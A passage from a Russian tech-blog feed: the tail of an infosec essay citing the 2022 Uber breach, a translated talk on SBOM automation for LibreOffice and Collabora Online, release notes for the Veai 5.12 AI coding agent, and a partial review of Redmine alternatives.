Просроченный антивирус на ПК админа — симптом системной беды. Если главный ИТ‑специалист не следит за сроками действия лицензий и обновлением баз на собственной машине, он не контролирует безопасность всей инфраструктуры.
Дружба с владельцем — самый опасный вектор угрозы. Технические средства бессильны, когда бизнес‑решение принимает человек, для которого аргумент «Он мой друг, я ему верю» перевешивает результаты объективного расследования. Информационная безопасность должна строиться на процессах и проверяемом уровне доверия, а не на личных отношениях. Иначе бэкдором становится сама корпоративная культура.

К чему приводят такие инциденты: примеры из жизни

Описанная ситуация — реальная практика, которая регулярно заканчивается громкими утечками и многомиллионными убытками. Припомню ситуацию с Uber в 2022 году: злоумышленник методом социальной инженерии выманил пароль у сотрудника и попал во внутреннюю сеть. Там он обнаружил сетевые папки с PowerShell‑скриптами, содержавшими учётные данные администраторов в открытом виде, что позволило ему почти полностью захватить инфраструктуру, включая консоль AWS, почту и системы безопасности. Компания была вынуждена на несколько дней остановить множество внутренних сервисов.

Вроде написала — отпустило. Кто дочитал, отзовитесь, пжлста. Как вы сами действуете в таком аду?

И главное: есть ли фонд по защите таких, как мы? Аналитиков ИБ, которые всё видят, а их редко слушают. Я не говорю, что всё будет, по‑моему, и осознанность вдруг на всех снизойдёт. Но ведь в любой работе должна быть польза и аккуратность. Так почему бизнес не хочет, чтобы у него было аккуратно и с пользой для себя же?

[Перевод] Автоматизация SBOM в большом legacy-проекте: опыт LibreOffice и Collabora Online

Wed, 10 Jun 2026 15:27:48 +0000

Вот уже более 20 лет проходит масштабная конференция разработчиков свободного и открытого ПО – FOSDEM. Для CodeScoring она примечательна тем, что с 2021 года на ней регулярно представлен тематический деврум "SBOMS and supply chains", посвященный составу программного обеспечения и цепочкам поставок.

Эта статья – адаптация доклада "LibreOffice and Collabora Online – how we managed to automate SBOM generation for a large legacy project", с которым Торстен Беренц выступил на конференции в 2026 году. Специально для вас мы перевели выступление и превратили его в статью, оригинал доклада на английском языке – по ссылке.

Закон о киберустойчивости (Cyber Resilience Act, CRA, новые европейские требования к созданию ПО) поэтапно вступает в силу, и многим из европейских компаний нужно срочно разбираться со списками компонентов ПО (ППК/SBOM).

В России тема SBOM также встроена в контекст безопасной разработки: ГОСТ Р 56939-2024 относит композиционный анализ к обязательным процессам контроля сторонних компонентов и известных уязвимостей. То есть SBOM становится не просто документом, а частью регулярной работы с составом ПО.

Для продуктов с повышенным уровнем доверия или сертификацией правила формальнее – в рамках требований ФСТЭК России необходимо предоставлять перечень заимствованных компонентов в установленном формате.

Вернемся же к Collabora и истории о том, как в компании обзавелись своим собственным опытом создания SBOM для достаточно сложного продукта — Collabora Online, онлайн-офисного пакета с открытым исходным кодом, построенного на ядре LibreOffice.

Заголовок доклада обещает полностью автоматизированную генерацию SBOM, но реальность, как всегда, внесла свои коррективы. Автор доклада и его коллеги достигли определенных успехов, но это история о начале большого пути, а не о финише.

Передаем слово Торстену!

Об авторе: Торстен — эксперт LibreOffice и Collabora, глубоко разбирающийся в отраслевых стандартах. За свои 25 лет в проекте он успел покопаться в самых разных уголках кода: от системы сборки и библиотек абстракции платформы до Impress и Writer.
По образованию Торстен — программист, по призванию — фанат свободного ПО. Начинал ещё в Sun Microsystems, работал над известной альтернативой Microsoft Office, OpenOffice.org, а затем стал одним из основателей The Document Foundation и проекта LibreOffice.
Сейчас в его повседневной работе много проектного менеджмента и общения с заказчиками, но это не мешает ему время от времени всё ещё возиться с кодом. Недавно он объединил свою компанию с Collabora, чтобы с новыми силами помогать заказчикам переходить на суверенное открытое ПО.

С чего мы начинали и с чем столкнулись

Наша цель — полная прозрачность и отслеживаемость всех артефактов продукта, чтобы соответствовать требованиям CRA. Для контейнерных образов мы уже многое умеем, но Collabora Online — это особый случай, так как под капотом у нас технологический микс:

ядро: LibreOffice Core (колоссальный проект на C++);
фронтенд: JavaScript и TypeScript со своей экосистемой;
нативные зависимости: более 100 библиотек на C/C++;
«пограничники»: шрифты, словари, для которых нет готовых автоматических решений.

Вдобавок ко всему стандарты CRA до сих пор формируются, так что процесс напоминает ремонт автомобиля на полном ходу.

Первые шаги: ручной труд и выбор инструмента

Аудит текущего состояния SBOM выявил печальную картину — не было ничего. Мы изучили вопрос, пообщались с экспертами и, чтобы сдвинуться с мертвой точки, выбрали формат SPDX (без особых причин, просто надо было с чего-то начинать).

Первая и самая очевидная задача — собрать информацию о лицензиях. Для Collabora Online мы решили сделать это вручную, так как количество прямых зависимостей было управляемым. Мы составили список JavaScript-зависимостей (к счастью, там не было типичного npm-ада с тысячами вложенных пакетов), затем добавили шрифты, которые неожиданно обнаружились в консоли администратора.

С зависимостями C++ на верхнем уровне все было не очень хорошо — несколько десятков библиотек и сам LibreOffice Core. Мы добавили их вручную, но для автоматизации версий подключили систему сборки, чтобы она могла хотя бы подтягивать автоматически номера версий.

Шрифты, словари и прочие «простые» вещи

Казалось бы, шрифт — это просто картинка. Но нет. У него есть лицензия, значит, он должен быть в SBOM. Более того, это бинарный артефакт. А если копнуть глубже — механизмы хинтинга в шрифтах содержат настоящий код, выполняющийся в виртуальной машине. Это уже потенциальная поверхность для атаки. И для полной безопасности нам нужно знать версию шрифта, его хэш и проверять наличие CVE.

Со словарями ситуация немного проще (в основном лицензия), но и они должны быть в списке. В итоге, помимо кода, нам нужно учитывать еще 50 словарей и сотни шрифтов. Мы надеялись, что кто-то уже автоматизировал учет шрифтов в SBOM, но, к сожалению, на практике эта проблема не решена и соответствующие баг-репорты до сих пор открыты. Чуда не произошло.

LibreOffice Core

Итак, что у нас есть по состоянию на январь 2025 года? Для Collabora Online есть система, которая генерирует список лицензий для прямых зависимостей. Мы можем видеть 26 взаимосвязей и версии, полученные из системы сборки.

LibreOffice — это огромная, сложная и проблемная часть проекта, которую нельзя игнорировать и с которой трудно работать: с историей, 10 миллионами строк кода, более чем 100 сторонними C/C++ библиотеками и кучей шрифтов. Ручное описание всех его внутренних зависимостей — это титанический и неблагодарный труд, который устареет быстрее, чем мы его закончим. Это нужно автоматизировать любой ценой.

В поисках автоматизации для C/C++

Проблема в том, что для C и C++ нет единого стандарта сборки и менеджера пакетов, как, например, в Go, Java или Python*. Каждая библиотека может использовать свою легаси-систему. Но есть и хорошая новость: система сборки самого LibreOffice (довольно специфичная и основанная на OpenOffice, релиз которой состоялся в 2002 году) знает всё, что она собирает. Она динамическая, позволяет включать и отключать функции, и именно она в итоге упаковывает все в форматы DEB, RPM или MSI.

Мы решили пойти этим путем и написали патч, который вытаскивает из системы сборки линейный список всех зависимостей, которые реально попадают в продукт. Это позволило нам сгенерировать минимальный SBOM, включающий все сторонние компоненты и их лицензии.

*Прим. ред. Конечно, для C/C++ существуют менеджеры зависимостей, например, Conan и vcpkg. Но далеко не все проекты готовы переходить на них из-за исторически сложившихся систем сборки, требований к совместимости и устоявшихся процессов разработки. Поэтому в таких проектах часто приходится работать с тем, что уже знает их собственная сборочная система.

От лицензий к безопасности: требования BSI

CRA требует не просто наличие списка лицензий, а возможности оценивать уязвимости. Немецкое ведомство по безопасности BSI выпустило подробные рекомендации, которые, хоть и не являются обязательным, задают высокую планку.

Если следовать ему, то нам нужно для каждого файла на диске (включая скрипты Python, макросы и, возможно, шрифты) понимать его происхождение. А именно:

Имя компонента.
Контрольная сумма (для проверки целостности).
Идентификатор CPE (Common Platform Enumeration), чтобы привязать к нему CVE. Проблема в том, что для большинства старых C++ библиотек CPE просто не существует.*
Заявленная и фактическая лицензия (они могут отличаться).
Информация о системных библиотеках, с которыми слинкован бинарный файл (это ответственность дистрибутива, но мы должны это идентифицировать).

Это внушительный объем работы, который к тому же зависит от платформы: SBOM для Windows будет отличаться от SBOM для Linux.

*Прим.ред.: формально CPE-строку можно составить самостоятельно: это структурированный формат именования продуктов, а не идентификатор, который обязательно должен быть заранее зарегистрирован для каждой библиотеки. Однако для автоматического сопоставления с уязвимостями важна не только корректность строки, но и ее совпадение с тем, как компонент описан в публичных базах. Для старых C/C++ библиотек такой надежной привязки часто нет, поэтому самостоятельно составленный CPE может не помочь найти связанные CVE или, наоборот, привести к ложным совпадениям.

Что дальше?

Наш план — выжимать всю информацию из системы сборки. И если с прямыми зависимостями мы справились, то для получения полной картины (включая динамические связи и данные о сторонних библиотеках внутри Core) нам придется копаться в системах сборки. Это серьезная задача.

Самое печальное, что мы находимся на вершине стека. Мы не можем просто сказать «пусть авторы библиотек делают SBOM». Многие из этих библиотек поддерживаются одним человеком, и просить их еще и генерировать SPDX или CycloneDX — нереальная задача без дополнительного финансирования.

Заключение

Мы прошли путь от полного отсутствия SBOM до минимально рабочего процесса, который закрывает вопросы лицензионной чистоты. Главный вывод, который мы сделали – формировать SBOM необходимо на этапе сборки: во-первых, содержимое компонентов ПО напрямую зависит от текущих параметров конфигурации, а во-вторых, поддерживать список компонентов вручную после сборки слишком трудоемко.

Впереди — самый сложный этап: детализация гигантской кодовой базы LibreOffice Core для выполнения требований безопасности CRA».

___

Если вы решали или сейчас решаете похожие задачи – обязательно расскажите о своем опыте в комментариях под этой статьей!

Почему мы решили перевести этот текст? CodeScoring – это российское решение для безопасной работы с open source, проверки совместимости лицензий, поиска секретов и анализа качества разработки. Например, мы единственные в России умеем разбирать зависимости C/C++ через анализ сборки. Подробнее об этом можно почитать вот здесь.

Узнать больше о том, что мы делаем, вы можете на сайте CodeScoring.

А мы продолжим переводить для вас SBOM-доклады со свежего FOSDEM, и вы можете выбрать, какой доклад выйдет в блоге следующим, голосуйте в форме ниже!

Veai 5.12: агент в любимой IDE, которому не нужно заранее объяснять формат задачи

Wed, 10 Jun 2026 15:24:23 +0000

Главная ценность релиза — разработчик начинает с рабочей задачи, а не с выбора режима.

Каждый день есть задачи, которые хочется сделать быстро и чисто: разобраться с падающим тестом, поправить метод, доделать фичу. Но правильный путь не всегда понятен заранее: иногда нужна простая правка, иногда — исследование проекта, тесты, ревью или отладка.

Для этого в Veai 5.12 появился General Agent. Он принимает задачу в том виде, в каком разработчик обычно ее формулирует: неидеально, с сомнениями и неполным пониманием пути. Агент сам подбирает нужные действия и отдает результат, который уже можно проверить.

Попробовать Veai 5.12 · Что входит в релиз

Что входит в Veai 5.12

В этом релизе мы собрали изменения, которые закрывают весь путь работы с агентом: от первого сообщения в чат до проверки результата.

Возможность	Что дает пользователю
General Agent как основной режим	Можно начать с обычной задачи, не выбирая режим заранее
Выбор режима при первом запуске	Новый пользователь может оставить простой сценарий, опытный — сразу выбрать нужный подход
Вложения прямо в поле ввода	Файл или выделенный фрагмент кода можно добавить в запрос как контекст
Больше возможностей в Rider, WebStorm и PyCharm	Тестовый агент и поиск по зависимостям становятся доступнее в разных IDE и стеках
Agent Changes	Правки агента можно проверять как список изменений перед коммитом
Simple-интерфейс	В чате остается только выбор агента, поле ввода и отправка сообщения
Advanced-режим	Полный набор настроек и инструментов остается доступен для сложных сценариев
Создание навыков через чат	Агент уточняет детали и сам готовит Markdown-файлы навыка в нужной папке
Автоподключение MCP-сервера IDE	Если встроенный MCP-сервер уже включен, Veai может подключить его без ручной настройки
Исправления производительности и стабильности	Длинные задачи, интерфейс чата, субагенты и остановка операций работают надежнее

General Agent как основной режим

General теперь установлен как основной режим Veai по умолчанию. Он нужен для ситуаций, когда вы хотите начать с рабочей задачи, а не с выбора между Code, Ask, Test, Plan, Review и Debug.

Разработчику не нужно думать о сложных процессах: какой инструмент вызвать, когда подключить субагента, где искать контекст и какие проверки запустить. Простые задачи General делает сам, а для сложных подключает нужных субагентов: один может разобраться в проекте, другой написать код, третий проверить результат или подготовить тесты.

Вы формулируете задачу как обычно — «посмотри, почему не работает», «поправь метод», «добавь тесты». General сам разберётся, достаточно ли простой правки или нужно пройтись по проекту, изменить код и проверить результат.

General Agent как основной режим

Один чат для всей задачи

В интерфейсе это выглядит как обычный диалог с агентом. Вы выбираете General, пишете задачу в поле ввода и дальше работаете в том же чате, даже если задача меняет направление.

Например:

Для пользователя это одно сообщение. Под капотом Veai может пройти несколько шагов: открыть результат теста, найти связанный production-код, проверить зависимости, внести правку, обновить тест и снова запустить проверку.

В чате при этом остаётся единая история задачи: что агент посмотрел, какие файлы изменил, какие проверки запустил и чем всё закончилось. Не нужно вручную переключаться из Test в Code, потом в Review или Debug — General сам выбирает нужный маршрут.

Вложения прямо в поле ввода

Вложения были и раньше: в поле ввода можно набрать @ и выбрать, что приложить — например текущий файл. А чтобы приложить кусок кода, нужно было выделить его в редакторе и через правую кнопку выбрать Add Selection as Attachment.

Но работать так было неудобно: все вложения висели отдельно над полем ввода — примерно как вложения в Gmail или Outlook. А разработчику часто хочется сказать что-то вроде «на основании кода в таких-то строчках допиши тесты» и тут же сослаться на другой фрагмент.

В 5.12 это поправили. Теперь если выделить фрагмент и перейти в чат, Veai сам добавит его к сообщению, а сами вложения живут прямо внутри поля ввода. Их можно удалить, а текст писать до и после вложения.

Сами вложения теперь выглядят как объекты внутри поля ввода. Их можно удалить, а текст промпта можно писать до и после вложения. Так легче собрать понятный запрос: сначала добавить файл или фрагмент кода, потом сразу рядом написать, что именно с ним нужно сделать.

На практике это закрывает частые задачи разработчика. Выделили метод и сразу спрашиваете по делу:

Выделили метод и сразу спрашиваете по делу

А ещё легче собрать составную задачу из нескольких фрагментов, вплетая их прямо в текст:

Сравни [выделенный метод] с [примером использования] и скажи, не ломаем ли мы старое поведение.

Для агента это точнее, чем общий вопрос без контекста: он видит не просто текст промпта, а конкретный файл, метод или участок кода, на который нужно смотреть.

Вы хотите спросить агента про конкретный метод, подозрительный участок кода или ошибку в небольшом фрагменте, но не хотите руками объяснять, где агенту смотреть.

Интерфейс не мешает начать

В режиме Simple остается только самое нужное: выбор агента, поле ввода и кнопка отправки. Дополнительные панели и настройки скрыты, чтобы чат не выглядел как кабина пилота.

Если нужен полный набор инструментов, пользователь может переключиться в режим Advanced в настройках чата.

Кнопки действий у сообщений в Simple-режиме появляются только при наведении.

Удобный просмотр изменений агента

Принять или отклонить правки агента можно было и раньше: нажать Changes, принять всё или всё отменить. В 5.12 мы добавили рядом кнопку со стрелочками — по ней открывается отдельное окно Agent Changes со всеми изменениями, сделанными агентом.

Мы специально сделали его похожим на привычное окно работы с git-коммитами и pull-request — это самый естественный для IDE способ работать с изменениями. Работа агента поэтому оказывается на том же уровне, что и обычные правки в проекте.

В окне можно отметить отдельные изменения, принять или отменить их пачками, а можно кликнуть по файлу и увидеть diff — только то, что изменилось. Прямо в углу файла есть галочка «принять» и стрелка «отклонить». Как только изменение принято, файл уходит из списка, а остальные остаются. Изменения из разных чатов не смешиваются.

Больше возможностей в Rider, WebStorm и PyCharm

Тестовый агент и поиск по зависимостям становятся доступнее в разных IDE и стеках

Раньше отдельный режим Test был доступен только в IntelliJ IDEA для Java и Kotlin. Теперь его можно использовать в Rider, WebStorm и PyCharm, чтобы просить Veai сгенерировать или доработать тесты в той IDE, где вы уже пишете код.

Чтение кода зависимостей тоже стало универсальнее. Veai уже умел читать библиотеки в IDEA для JVM-кода, в PyCharm для Python и в Rider для .NET. Теперь агенту проще работать в смешанных проектах: например, если в IDEA установлен Python-плагин, он может искать Python-символы рядом с Java-кодом. Поиск по Python также лучше работает с неполными именами.

Вы работаете в C#, JavaScript, TypeScript или Python-проекте, хотите попросить агента подготовить тесты или разобраться с библиотекой, и не хотите переходить в другую IDE ради этих сценариев.

Частые вопросы

General заменяет Ask, Code, Test, Plan, Review и Debug?

Нет. General — рекомендуемая точка входа для задач с неясным объемом. Специализированные режимы остаются для случаев, где пользователь хочет явно управлять процессом.

Почему субагенты не запускаются всегда?

Потому что для маленьких задач это создает лишние расходы. Если нужно поправить одну строку, General может сделать это сам. Если задача большая и требует параллельного исследования, субагенты становятся полезны.

Можно ли выбрать другой режим при первом запуске?

Да. При первой установке Veai может предложить выбрать стартовый режим. General рекомендован как самый простой вариант, но опытный пользователь может сразу выбрать другой сценарий.

Что делать, если нужен полный контроль?

Переключиться в режим Advanced в настройках чата. Там доступны дополнительные панели, настройки и специализированные сценарии.

Как проверять правки агента?

Через Agent Changes: список файлов активного чата, сравнение версий, переход между изменениями, принятие и отклонение правок пачками.

Сравните возможности

Хотите быстро понять, что умеет Veai в разных IDE и сценариях?

Откройте матрицу возможностей: там собраны агенты, инструменты, языки и поддержка IDE. Это удобно, если выбираете Veai для команды или сравниваете сценарии перед внедрением.

https://veai.ru/docs/veai/feature-matrix

Попробуйте Veai 5.12

Начните с General Agent: напишите задачу обычными словами, а Veai сам выберет подходящий способ работы.

Бесплатно в IDE. А если в работе вам не хватает каких-то возможностей или сценариев, пишите нам в чат или на support@veai.ru. Такие сообщения напрямую влияют на план следующих обновлений.

Для всех, кому интересно следить за продуктом, новостями из мира AI и техниками использования AI в разработке, оставляем ссылку на наш телеграм-канал.

Попробовать Veai · Узнать больше о Veai 5.12

Redmine в 2026: кто на нём до сих пор сидит, почему это рационально — и когда пора искать аналог

Wed, 10 Jun 2026 15:22:45 +0000

Redmine — «старый добрый друг» ИТ-индустрии, на котором выросло не одно поколение админов. И будем честными: он до сих пор делает своё дело — бесплатно, стабильно, на вашем железе и без сюрпризов от вендора. Если у вас 15 человек и настроенный процесс — возможно, эта статья вам не нужна.

Проблемы начинаются на масштабе. Сначала вы тратите вечер на поиск плагина для нормальной связки с GitLab. Потом — выходные на восстановление сервера, который «положило» обновление Ruby. Потом считаете, сколько часов сеньоры потратили на поддержку зоопарка модулей вместо продукта, — и понимаете, что ваш бесплатный Open Source давно перестал быть бесплатным. Он просто выставляет счёт не в лицензиях, а в человеко-часах.

Но главная боль ухода с Redmine кроется не в администрировании, а в управлении продуктом. Redmine — это классический issue tracker, который застрял в эпохе Waterfall. Попытки «натянуть» на него современный Agile (Scrum/Kanban) через плагины вроде Agile Dwarf превращают работу Product Owner'ов в пытку. Сегодня бизнесу нужен не просто список тикетов. Нужна полная прослеживаемость (Traceability): от бизнес-требования (Epic) до конкретного коммита, Merge Request'а и инцидента на проде.

Важная оговорка: дело не в том, что Redmine «устарел». Дело в том, что задача изменилась. Раньше трекер отвечал на вопрос «кто что делает» — теперь от него ждут связку кода, поддержки и планов в одном контуре: чтобы инцидент из прода сам становился дефектом в бэклоге, а коммит был виден из карточки задачи без переключения в GitLab.

Мы отобрали 10 аналогов Redmine, которые закрывают эту задачу по-разному — от визуальных Kanban-трекеров до Enterprise-платформ. Для каждого: кому подходит, что умеет, сколько стоит и какие у него честные минусы. В конце — балльная таблица и совет, как проверить систему до покупки.

Дисклеймер: статья опубликована в блоге SimpleOne, и SimpleOne SDLC входит в этот рейтинг. Мы знаем свой продукт лучше остальных — это влияет на оценку. Рекомендуем тестировать решения самостоятельно на вашем процессе.

Критерии выбора аналога Redmine в 2026 году

Чтобы ваш переезд не превратился в «шило на мыло», оценивайте системы по шести критичным для бизнеса метрикам:

Проектное управление: иерархии задач, Гант, ресурсы и портфели. В Redmine это собирается из плагинов — здесь смотрим, что есть из коробки.
Agile-инструменты: не «доска как в плагине Agile», а спринты, WIP-лимиты и метрики (Cycle Time, Velocity), которые считаются сами, а не выгружаются в Excel.
Управление релизами (Release Management): способность трекера компоновать выполненные задачи (Features/Bugs) в единый Release Candidate, отслеживать его прохождение через тестовые среды и автоматически генерировать Release Notes. Для Enterprise без этого процесса наступает хаос при выкатках.
Гибкость без кода: в Redmine кастомизация — это Ruby-плагин, который ломается при обновлении ядра. Проверяем, что в новой системе процессы меняются «мышкой» — аналитиком, а не разработчиком. При этом для Enterprise критично наличие IT-Governance: версионирования настроек и возможности миграции конфигураций между средами Dev/Test/Prod (что отличает настоящий Low-code от No-code «песочниц»).
Архитектура и безопасность: полноценный On-premise (для тех, кто выбрал Redmine именно за контроль над данными), Реестр ПО РФ, открытый API.
Миграция и порог входа: есть ли импорт из Redmine, сколько стоит перенос истории, как быстро команда начнёт работать без сопротивления.

Сколько стоит переезд с Redmine

Лицензии — видимая часть цены. Невидимая — перенос истории: задачи, комментарии, вложения, связи, кастомные поля и трекеры, накопленные за годы. Три пути:

Встроенный импортёр (Kaiten, Яндекс Трекер): перенос за часы, но проверьте заранее, что переезжают кастомные поля и связи задач, а не только заголовки.
Через API (SimpleOne, Comindware, Directum): полный контроль над маппингом, но это отдельный проект. В реальности Enterprise-миграции закладывайте 3–6 месяцев (а не 2-6 недель) на выгрузку, нормализацию данных, маппинг статусов и сверку. Если вы перенесете свой 10-летний мусор из Redmine в новую Enterprise-платформу, вы просто получите медленный и дорогой Redmine. Дубликаты и «мертвые» поля придётся чистить до переноса. Более того, миграция — это повод провести рефакторинг workflow. Если в старом Redmine у вас было 25 кастомных статусов задачи (от «Ждет тестировщика 1» до «Отклонено аналитиком 3»), не тащите их в новую систему. Сведите их к 5-7 базовым статусам. Иначе вы перенесете не только данные, но и бюрократию.
Без переноса истории: старый Redmine остаётся в read-only как архив, новая система стартует с активного спринта. Самый быстрый путь — подходит, если аудит не требует единой базы.

Правило: сначала восстановите активную работу (текущий спринт, критичные дефекты, ближайший релиз), архив подтягивайте вторым этапом. Подробный чеклист вопросов вендору про миграцию — в нашей статье «Как выбрать систему для разработки и пожалеть через полгода».

Сравнительная таблица аналогов Redmine

Оценки основаны на экспертном анализе документации, публичных кейсов и опыте внедрений. Это не результат слепого тестирования — ваш опыт с конкретным продуктом может отличаться.

Система	Тип	Основная методология	Развертывание	Миграция с Redmine	Цена от
SimpleOne SDLC	Low-code платформа	Hybrid (Agile + Waterfall)	On-premise / Cloud	Утилиты/API (проект)	По запросу
Kaiten	Визуальный трекер	Agile (Канбан + Scrum)	On-premise / Cloud	Встроенный импорт	от 185 руб./мес за пользователя
Яндекс Трекер	Облачный трекер	Agile	Только Cloud	Скрипты/Инструкции	Бесплатно до 5 чел, далее от 258 руб./мес за пользователя
Directum Projects	ECM / PPM система	Waterfall (PMBOK)	On-premise / Cloud	API/В рамках проекта	По запросу, Облако — от 7387 руб. /год.
Comindware	BPMS платформа	Hybrid	On-premise / Cloud	API (отдельный проект)	По запросу
YouGile	Таск-мессенджер	Agile	On-premise / Cloud	CSV/API	Бесплатно до 10 чел., далее от ~600 руб. за пользователя.
WEEEK	Мультисервис	Agile	Только Cloud	Встроенный импорт	190 руб./мес
ADVANTA	PPM платформа	Waterfall	On-premise / Cloud	API/Выгрузки	4500 руб./мес
Битрикс24	Корпоративный портал	Hybrid	On-premise / Cloud	CSV/REST API	от ~2000 руб. за компанию
Мегаплан	CRM + Задачи	Waterfall	On-premise / Cloud	Импорт CSV	от ~1 500 руб. в месяц за 5 пользователей

Итоговая балльная таблица рейтинга (Top-10)

Для тех, кто привык принимать решения на основе цифр, мы выставили оценки по 10-балльной шкале. Этот рейтинг отражает готовность систем стать полноценной заменой Redmine в условиях современной корпоративной эксплуатации.

Система	Проектное упр.	Agile	Гибкость	Архитектура	Миграция и UX	Итог
SimpleOne SDLC	10	9	10	10	7	46
Kaiten	8	10	7	9	10	44
Яндекс Трекер	7	9	8	8	9	41
Directum Projects	9	7	8	10	6	40
Comindware	7	7	10	9	6	39
YouGile	6	9	6	7	10	38
WEEEK	7	8	6	7	9	37
ADVANTA	10	6	6	9	5	36
Битрикс24	7	7	8	8	6	36
Мегаплан	6	6	6	7	7	32

Резюме по оценкам. SimpleOne SDLC набирает максимум там, где Redmine требует плагинов и костылей: проектное управление, гибкость процессов и архитектура закрыты из коробки.
Но лидерство не бесплатное — обратите внимание на колонку миграции: прямого импортера из Redmine нет, перенос истории идёт через API, и переезд на Enterprise-платформу — это проект на недели, а не на выходные.
Если скорость переезда для вас важнее глубины платформы, Kaiten со встроенным импортом из Redmine закроет переход за дни — отсюда его второе место с минимальным отрывом. Яндекс Трекер — выбор третьего типа: самый доступный способ получить современный корпоративный трекер без проекта внедрения, особенно для команд, уже живущих в экосистеме Яндекса.
Низкие баллы внизу таблицы не означают, что системы плохи — Мегаплан и Битрикс24 отлично работают в своих нишах, просто Scrum, Git и релизные циклы — не их территория.

Обзор аналогов Redmine

SimpleOne SDLC

SimpleOne SDLC - это платформа для управления жизненным циклом разработки. Аналог Redmine. Если коротко: всё, что в Redmine собирается из плагинов — Agile-доски, Гант, интеграция с Git, кастомные поля и маршруты — здесь есть из коробки и настраивается аналитиком, без Ruby-разработчика и страха перед обновлением ядра.

Интерфейс SimpleOne SDLC

Назначение: средний и крупный бизнес, ИТ-холдинги, банки. Сильнее всего раскрывается там, где разработка и поддержка должны жить в одном контуре: инцидент из прода становится дефектом в бэклоге без ручного переноса.

Миграция с Redmine: через открытый API (отдельный проект маппинга данных).

Ключевые возможности

бесшовный ITSM-контур: Интеграция ITSM и SDLC нужна не для того, чтобы разработчики читали жалобы пользователей, а для того, чтобы управлять Техническим Долгом (Problem Management) и безопасно выкатывать релизы (Change Enablement). Система позволяет настроить жесткие Quality Gates при передаче дефекта из L3 в разработку.
Low-code кастомизация: поля, формы и маршруты согласований настраиваются без программистов;
масштабируемый Agile: Scrum, Kanban и SAFe (PI-планирование) из коробки;
глубокая Git-интеграция: Нативная связка с GitLab/Bitbucket. Автоматическая смена статусов задач по вебхукам от Merge Requests и привязка коммитов к таскам для обеспечения полной прослеживаемости (Traceability) при аудите (PCI DSS, ГОСТ);
Полноценный Release Management: управление версиями продуктов, компоновка релизов из множества задач и дефектов, автоматическое формирование Release Notes.

Плюсы

единая модель данных: задача, дефект, релиз и инцидент — связанные объекты, а не записи в разных системах;
архитектура рассчитана на тысячи пользователей без деградации — для холдингов это критично;
встроенные ИИ-ассистенты для анализа кода и классификации задач.

Минусы

прямого импортера из Redmine нет: перенос истории задач — через API, и это отдельный проект на недели;
после лёгкого трекера платформа требует обучения — команда не начнет работать «с понедельника»;
стоимость Enterprise-уровня: для команд до 30 человек экономика не сойдется.

Цена: по запросу (зависит от масштаба).

Kaiten

Визуальный комбайн, который делает процессы прозрачными. Kaiten — это то, каким Redmine мог бы стать, если бы его дизайнеры фанатели от физических канбан-досок.

Интерфейс Kaiten

Назначение: СМБ, продуктовые команды, стартапы, маркетинговые и рекламные агентства.

Миграция с Redmine: Есть встроенные утилиты импорта.

Ключевые возможности

hierarchy of boards: возможность видеть связи между задачами разных команд на одном визуальном слое;
WIP-лимиты: жесткий контроль незавершенной работы для предотвращения «заторов»;
Agile-аналитика: встроенные отчеты Cycle Time и CFD в пару кликов.

Плюсы

эталонный UX/UI: очень быстрый и интуитивный интерфейс;
простейшая миграция из Redmine и Jira через встроенные утилиты;
демократичная цена для небольших и средних команд.

Минусы

слабая поддержка классического проектного управления (Waterfall/Гант);
отсутствие глубоких инструментов Release Management (компоновка релизов, генерация Release Notes);
ограничения платформы при попытке создать сложные, нелинейные бизнес-процессы.

Цена: от 185 руб./мес за пользователя (тариф Старт). Есть бесплатный тариф для небольших команд.

Яндекс Трекер

Массовый корпоративный трекер от Яндекса. Если Redmine для вас — это «слишком много возни», а Enterprise-платформа — «слишком много всего», Трекер закрывает середину: завёл организацию, пригласил команду, работаешь.

Интерфейс Яндекс Трекера

Назначение: команды любого размера, которым нужен современный трекер без проекта внедрения; компании в экосистеме Яндекса (Облако, Вики, Формы).

Миграция с Redmine: Через API и скрипты миграции.

Ключевые возможности:

Agile-доски, спринты и burndown из коробки;
Автоматизации и триггеры без кода;
Интеграция с Яндекс 360 и API для всего остального.

Плюсы

Один из самых низких порогов входа на рынке — команда работает в первый день;
Предсказуемая цена за пользователя, бесплатный тариф для маленьких команд;
В Реестре ПО РФ.

Минусы

Только облако — для тех, кто держал Redmine ради контроля над данными, это стоп-фактор;
Ограниченные возможности для сложной кастомизации бизнес-процессов на уровне Enterprise-архитектуры;
Кастомизация ограничена рамками продукта — «собрать под себя» не получится.

Цена: Бесплатно до 5 пользователей, далее от 258 руб. за пользователя в месяц.

Directum Projects

Система управления проектами, выросшая из экосистемы электронного документооборота. Подойдет для замены Redmine В Directum Projects проект — это прежде всего документы, согласования и ЭЦП.

Интерфейс Directum Projects

Назначение: госсектор, промышленность, инжиниринг. Компании с жестким регламентом и гостами.

Миграция с Redmine: через API, в рамках проекта внедрения.

Ключевые возможности

document-centric подход: управление проектами в неразрывной связке с СЭД;
планирование по PMBOK: полноценный Гант, критический путь и вехи;
ресурсное планирование: мощный блок учета трудозатрат и загрузки людей.

Плюсы

максимальный уровень безопасности и легитимности (ЭЦП, ФСТЭК);
надежность вендора с многолетним опытом в Enterprise;
отличная работа с проектной документацией.

Минусы

тяжеловесный интерфейс, к которому сложно привыкнуть после легких трекеров;
слабая адаптация под быструю продуктовую Agile-разработку (не хватает нативной работы со спринтами и бэклогом разработки);
требует длительного внедрения силами аналитиков.

Цена: Стоимость пакетов лицензий рассчитывается по запросу. Облако — от 7387 руб. /год.

Comindware

Comindware — это платформа управления процессами (BPMS), которая позволяет собрать свою систему управления проектами, как конструктор, используя графовые базы данных.

Интерфейс Comindware (Управление проектами)

Назначение: средний и крупный бизнес с уникальными процессами, которым нужно гибко связывать проекты с активами, финансами или логистикой.

Миграция с Redmine: через API (отдельный проект).

Ключевые возможности

графовое ядро: возможность строить сколь угодно сложные связи между любыми объектами;
adaptive case management: управление неструктурированными задачами;
изменение «на лету»: архитектуру системы можно менять без её остановки.

Плюсы

фантастическая гибкость в руках опытного аналитика;
возможность автоматизировать практически любой смежный бизнес-процесс;
полноценная Low-code платформа.

Минусы

cлабая интеграция с инженерным стеком (CI/CD, Git) «из коробки», так как платформа сфокусирована больше на процессном управлении (BPM), чем на SDLC;
интерфейс выглядит «техническим» и требует обучения;
высокая зависимость от качества проектирования процесса на старте.

Цена: По запросу.

YouGile

YouGile — это таск-трекер, который превращает каждую задачу в чат. Идеально для команд, которые привыкли работать в мессенджерах.

Интерфейс YouGile

Назначение: небольшие команды, агентства, отделы с высокой скоростью оперативного взаимодействия.

Миграция с Redmine: через Excel/CSV или API.

Ключевые возможности

chat-first интерфейс: вся история обсуждения задачи находится внутри нее;
стикеры: наглядная классификация задач на досках;
